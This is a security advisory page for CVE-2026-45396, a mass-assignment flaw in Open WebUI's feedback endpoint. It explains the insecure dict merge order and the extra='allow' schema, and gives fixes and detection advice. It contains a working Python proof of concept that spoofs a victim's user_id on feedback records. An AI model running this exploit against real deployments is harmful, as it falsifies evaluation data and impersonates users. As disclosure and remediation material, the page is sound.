CVE-2026-45396: Open WebUI: Mass Assignment via FeedbackForm extra=allow Allows Feedback User ID Spoofing and Evaluation Data Manipulation
Open WebUI before 0.9.5 lets any logged-in user create evaluation feedback records under another user's ID. FeedbackForm accepts extra fields and the server merges them after its own values, so a supplied user_id wins. This can skew the model leaderboard. Fixed in 0.9.5.
Published May 14, 2026 · Updated May 15, 2026 · Analysis Oct 27, 2026
What an attacker can do
POST /api/v1/evaluations/feedback takes a FeedbackForm declared with ConfigDict(extra='allow'). In insert_new_feedback() in backend/open_webui/models/feedbacks.py, the dictionary sets id, user_id and version first and then spreads form_data.model_dump(). In a Python dict literal the last key wins, so an attacker's user_id, id or version replace the server's values.
The PoC signs in as a normal user and posts a rating with an extra user_id set to a victim's id and version 999. The response shows the feedback attributed to the victim. The admin export and list endpoints then show the spoofed author.
The Elo model ranking in routers/evaluations.py is computed from these records. An attacker can inflate one model, deflate competitors and make evaluation data untrustworthy. The attacker needs only low privileges (CWE-915, NVD 5.4, low integrity and availability impact). It cannot overwrite existing records because of the primary key.
Who is affected
pip package open-webui, all versions below 0.9.5. The report confirmed v0.9.2 and says earlier versions with the feedback feature are likely affected. Check:
pip show open-webuiThe risk is in deployments that use arena or evaluation feedback to choose models.
open-webui
- Ecosystem
- PyPI
- Affected
- < 0.9.5
- Fixed in
- 0.9.5
- Check
pip show open-webui
How to fix it
Upgrade to open-webui 0.9.5:
pip install -U open-webuiThe advisory suggests setting extra='ignore' on FeedbackForm or spreading form data first so server values win. After upgrading, review old feedback for implausible user_ids or version numbers and rebuild the leaderboard if needed.
How to tell if you were hit
Check the feedback table for records whose version is not 0, or whose user_id does not match the account that posted them according to access logs. Look for POST /api/v1/evaluations/feedback requests carrying unexpected JSON keys. Sudden swings in the Elo leaderboard are a hint.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Mass Assignment in Feedback Creation Allows User ID Spoofing and Evaluation Data Manipulation
Summary
The POST /api/v1/evaluations/feedback endpoint in Open WebUI v0.9.2 is vulnerable to mass assignment via FeedbackForm, which uses model_config = ConfigDict(extra='allow'). Due to an insecure dictionary merge order in insert_new_feedback(), an authenticated attacker can inject a user_id field in the request body that overwrites the server-derived value, creating feedback records attributed to any arbitrary user. This corrupts the model evaluation leaderboard (Elo ratings) and enables identity spoofing.
Details
The vulnerability exists in two layers:
1. Model Layer — Insecure Dict Merge Order
File: backend/open_webui/models/feedbacks.py, lines 148–160
async def insert_new_feedback(
self, user_id: str, form_data: FeedbackForm, db: Optional[AsyncSession] = None
) -> Optional[FeedbackModel]:
async with get_async_db_context(db) as db:
id = str(uuid.uuid4())
feedback = FeedbackModel(
**{
'id': id,
'user_id': user_id, # ← Server-set from auth token
'version': 0,
**form_data.model_dump(), # ← OVERWRITES 'id', 'user_id', 'version'
'created_at': int(time.time()),
'updated_at': int(time.time()),
}
)In Python, when a dictionary literal contains duplicate keys, the last value wins. Since **form_data.model_dump() appears after 'user_id': user_id, any user_id field in the form data overwrites the authenticated user's ID.
2. Schema Layer — extra='allow' on Request Form
File: backend/open_webui/models/feedbacks.py, line 106
class FeedbackForm(BaseModel):
type: str
data: Optional[RatingData] = None
meta: Optional[dict] = None
snapshot: Optional[SnapshotData] = None
model_config = ConfigDict(extra='allow') # ← Accepts arbitrary extra fieldsThe extra='allow' config means Pydantic will accept and preserve any extra fields in the request body, including user_id, id, and version. These are then spread into the FeedbackModel constructor, overwriting server-set values.
Contrast with Secure Pattern
Other models in the same codebase use the correct ordering. For example, backend/open_webui/models/functions.py, line 120:
function = FunctionModel(**{
**form_data.model_dump(), # ← Spread FIRST
'user_id': user_id, # ← Server value AFTER → always wins
})And ModelForm at backend/open_webui/models/models.py uses extra='ignore', which is the strictest approach.
Impact
1. User Identity Spoofing
An attacker can create feedback records attributed to any user by specifying their user_id. The admin export endpoint (GET /api/v1/evaluations/feedbacks/export) and admin list (GET /api/v1/evaluations/feedbacks/all) will show the spoofed user_id as the feedback author.
2. Model Evaluation Leaderboard Manipulation
The Elo rating system at backend/open_webui/routers/evaluations.py computes model rankings directly from feedback records. An attacker can inject fake rating feedback to:
- Artificially inflate ratings for a specific model
- Deflate ratings for competitor models
- Make organizational model evaluation decisions unreliable
3. Record ID Control
By injecting a custom id, an attacker controls the UUID of the feedback record. While this won't overwrite existing records (primary key constraint), it enables predictable record IDs that could be useful in other attack chains.
PoC
import requests
BASE_URL = "http://localhost:8080"
# 1. Login as attacker
session = requests.Session()
login_resp = session.post(f"{BASE_URL}/api/v1/auths/signin", json={
"email": "[email protected]",
"password": "attackerpass"
})
token = login_resp.json()["token"]
headers = {"Authorization": f"Bearer {token}"}
# 2. Create feedback attributed to a different user (victim)
VICTIM_USER_ID = "12345678-aaaa-bbbb-cccc-000000000000"
resp = session.post(
f"{BASE_URL}/api/v1/evaluations/feedback",
headers=headers,
json={
"type": "rating",
"data": {
"model_id": "gpt-4o",
"rating": 1,
"sibling_model_ids": ["claude-3-opus"],
},
# Mass assignment: these extra fields are accepted due to extra='allow'
# and overwrite server-set values due to dict merge order
"user_id": VICTIM_USER_ID, # Overwrites authenticated user ID
"version": 999, # Overwrites default version
}
)
feedback = resp.json()
print(f"Feedback created with user_id: {feedback['user_id']}")
# Expected: attacker's own user_id
# Actual: VICTIM_USER_ID (12345678-aaaa-bbbb-cccc-000000000000)
assert feedback["user_id"] == VICTIM_USER_ID, "Mass assignment successful!"Severity
CVSS 3.1: 5.4 (Medium) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (any authenticated user)
- User Interaction: None
- Impact: Integrity (feedback data falsification) + limited Availability (leaderboard reliability)
Suggested Remediation
Option 1: Fix dict merge order (minimal fix)
feedback = FeedbackModel(
**{
**form_data.model_dump(), # Spread FIRST
'id': id, # Server values AFTER (always win)
'user_id': user_id,
'version': 0,
'created_at': int(time.time()),
'updated_at': int(time.time()),
}
)Option 2: Remove extra='allow' from FeedbackForm (recommended)
class FeedbackForm(BaseModel):
type: str
data: Optional[RatingData] = None
meta: Optional[dict] = None
snapshot: Optional[SnapshotData] = None
model_config = ConfigDict(extra='ignore') # Reject unexpected fieldsOption 3: Explicit field assignment (most secure)
feedback = FeedbackModel(
id=str(uuid.uuid4()),
user_id=user_id,
version=0,
type=form_data.type,
data=form_data.data.model_dump() if form_data.data else {},
meta=form_data.meta or {},
snapshot=form_data.snapshot.model_dump() if form_data.snapshot else {},
created_at=int(time.time()),
updated_at=int(time.time()),
)Affected Versions
- v0.9.2 (current latest, confirmed vulnerable)
- Likely all versions since feedback/evaluation feature was introduced
References
- Prior advisory: "Mass Assignment via Pydantic extra='allow' Allows Creating Folders in Other Users' Accounts" (patched in v0.9.0) — same root cause class, different endpoint
Credited to yantongggg, Classic298.
Questions
- Can this overwrite another user's feedback?
No. The advisory says the injected id cannot overwrite an existing record because of the primary key constraint.
- Is a related flaw known?
The advisory cites an earlier mass assignment bug with the same root cause that let users create folders in other accounts, patched in v0.9.0.
- What fixes CVE-2026-45396?
open-webui 0.9.5 fixes it. Versions below 0.9.5 let a logged-in user set user_id on new feedback records through extra form fields.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Open WebUI vulnerabilities
All Open WebUI entriesCVE-2026-87011
Open WebUI: Unauthenticated requests can stall the server via uncached OIDC fetches in back-channel logout
high7.5Sep 10, 2026CVE-2026-87012
Open WebUI: Any authenticated user can suppress calendar alerts instance-wide via a non-numeric alert value
medium4.3Sep 10, 2026CVE-2026-87013
Open WebUI: Any authenticated user can start a non-terminating request via a folder parent cycle
medium4.3Sep 10, 2026CVE-2026-87014
Open WebUI: Admin demoted through SSO role sync keeps read and write access to all users' notes
medium6.5Sep 10, 2026CVE-2026-87015
Open WebUI: A user's session cookies are sent to tool servers configured for bearer authentication
medium6.8Sep 10, 2026CVE-2026-87016
Open WebUI: Sign-in as another user via wildcard characters in the OAuth subject claim on SQLite
high8.1Sep 10, 2026
